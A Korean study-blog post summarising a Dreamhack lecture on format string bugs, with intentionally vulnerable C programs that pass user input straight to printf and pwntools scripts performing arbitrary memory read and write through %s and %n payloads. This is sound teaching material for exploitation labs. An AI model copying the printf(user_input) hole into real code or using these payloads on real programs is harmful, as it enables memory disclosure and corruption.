[Dreamhack] Format String Bug: 1 - Description

securitykss·2023년 1월 19일
0

Pwnable 강의(dreamhack)

목록 보기
26/58

이 글은 https://dreamhack.io/lecture/courses/114 을 토대로 작성한 글입니다.

1. Introduction

C 언어에서 printf, scanf, fprintf, fscanf 등 포맷 스트링(%d, %s 등)을 인자로 사용하는 함수들이 있다.

함수의 이름이 "f(formatted)"로 끝나고, 문자열을 다루는 함수라면 포맷 스티링을 처리할 것이다.

이 함수들은 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져온다.

이 함수들 내부에는 포맷 스트링이 필요로 하는 인자의 개수와 함수에 전달된 인자의 개수를 비교하는 루틴이 없다.

그래서 만약 사용자가 포맷 스트링을 입력할 수 있다면, 악의적으로 다수의 인자를 요청하여 레지스터나 스택의 값을 읽을 수 있다.

또한 다양한 형식지정자를 활용하여 원하는 위치의 스택 값을 읽거나, 스택에 임의 값을 쓰는 것도 가능하다.

포맷 스티링 함수를 잘못 사용해서 발생하는 버그를 Format String Bug(FSB)라고 한다.

2. Format String

%[parameter][flags][width][.precision][length]type

2.1 specifier

형식 지정자(specifier)는 인자를 어떻게 사용할지 지정한다.

형식 지정자설명
d부호있는 10진수 정수
s문자열
x부호없는 16진수 정수
n인자에 현재까지 사용된 문자열의 길이를 저장
pvoid형 포인터

2.2 width

최소 너비를 지정한다. 치환되는 문자열이 이 값보다 짧을 경우, 공백문자를 패딩해준다.

너비 지정자설명
정수정수의 값만큼을 최소 너비로 지정한다.
*인자의 값 만큼을 최소 너비로 지정한다.
// Name: fs.c
// Compile: gcc -o fs fs.c
#include <stdio.h>
int main() { 
	int num;  
    printf("%8d\n", 123);           	 // "     123"
    printf("%s\n", "Hello, world"); 	 // "Hello, world" 
    printf("%x\n", 0xdeadbeef);     	 // "deadbeef" 
    printf("%p\n", &num);            	// "0x7ffe6d1cb2c4"  
    printf("%s%n: hi\n", "Alice", &num);  // "Alice: hi", num = 5  
    printf("%*s: hello\n", num, "Bob");   // "  Bob: hello "  
    return 0;
}

%n의 쓰임

포맷스트링의 인자가 사용자의 입력에 영향을 받는다면, 코드를 작성하는 시점에는 완성된 포맷 스트링의 길이를 알 수 없다.

만약 프로그래머가 완성된 포맷 스트링의 길이를 코드에 사용해야 한다면, %n을 사용한다.

2.3 parameter

참조할 인자의 인덱스를 지정한다. 이 필드의 끝은 $로 표기한다.

인덱스의 범위를 전달된 인자의 갯수와 비교하지 않는다.

// Name: fs_param.c
// Compile: gcc -o fs_param fs_param.c
#include <stdio.h>
int main() { 
	int num; 
    printf("%2$d, %1$d\n", 2, 1);  // "1, 2" 
    return 0;
}

3. Format String Bug

Format String Bug는 포맷 스트링 함수의 잘못된 사용으로 발생하는 버그를 의미한다.

포맷 스트링을 사용자가 입력할 수 있을 때, 공격자는 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있다.

3.1 PoC

실습을 통해 알아보자

auth 변수를 0xff로 덮어보자

// fsb_auth.c
#include <stdio.h>
int main(void) {  
	int auth = 0x42424242;  
    char buf[32] = {0, };   
    read(0, buf, 32);  
    printf(buf);        // make auth to 0xff
}

9번째 인자, 즉, 0x2070252041414141에서 buf임을 알 수 있다.

그렇다면, buf에 auth의 주소를 little endian 형태로 넣고, 그 후, %n을 활용해서 auth 주소에 넣으면 0xff가 써진다.

auth의 주소 0x7fffffffdddc

이것을 dcddffffff7f0000로 한 후 packing을 한다.(Hex encode)

그리고 %246c%9$n을 넣으면 auth에 0xff가 써진다.


1. auth 주소 little endian

2. Hex encode

3. %c와 %n활용

성공!

3.2 레지스터 및 스택 읽기

위에서 PoC로 증명했는데,

AAAA %p %p %p %p %p ...를 했을 때,

AAAA는 인자가 아닌, buf에 값을 넣는 것이고,

그 다음 %p부터 rsi, rdx, rcs, r8, r9, [rsp], [rsp+0x8], [rsp+0x10], ... 으로 출력된다.

3.3 임의 주소 읽기

위에서 스택값을 읽을 때, 즉, [rsp]부터는 0x2070252041414141 처럼 8글자씩 출력한다.

이를 활용해 %[숫자]$s의 형식으로 그 주소의 데이터를 재참조해 읽을 수 있다.

PoC

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c
#include <stdio.h>
const char *secret = "THIS IS SECRET";
int main() { 
	char format[0x100];
    
    printf("Address of `secret`: %p\n", secret);  
    printf("Format: ");
    scanf("%[^\n]", format); 
    
    printf(format); 
    return 0;
}

# Name: fsb_aar.py

from pwn import *

p = process("./fsb_aar")

p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)

p.sendline(fstring)

p.interactive()

실행결과

Format: THIS IS SECRET T\xf8\xfd\xa9wU[ * ]

3.4 임의 주소 쓰기

임의 주소 읽기처럼 포맷 스트링에 임의의 주소를 넣고, %[숫자]$n의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있다.

위에서 실습할 때 활용을 했었다.

PoC

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c
#include <stdio.h>
int secret;
int main() {  
	char format[0x100];
    printf("Address of `secret`: %p\n", &secret);
    printf("Format: ");  
    scanf("%[^\n]", format);  
    printf(format);  
    printf("Secret: %d", secret);  
    return 0;
}
# Name: fsb_aaw.py
from pwn import *

p = process("./fsb_aaw")

p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

실행결과

\x01 \x140*\xc1\xeeUSecret: 31337'

4. 마치며

포맷 스트링(Format String): printf를 비롯한 포맷 스트링 함수들이 파싱하여 처리하는 문자열.

포맷 스트링 버그(Format String Bug, FSB): 프로그래머가 포맷 스트링 함수를 잘못 사용하여 발생하는 버그. 공격자에 의해 스택 읽기, 임의 주소 쓰기, 임의 주소 읽기에 사용될 수 있음.

형식 지정자(Format Specifier): 포맷 스트링에 대입되는 인자의 형식을 지정함. %d, %x, %u, %s, %n 등이 있음.

Reference

https://dreamhack.io/lecture/courses/114

profile
보안 공부를 하는 학생입니다.

0개의 댓글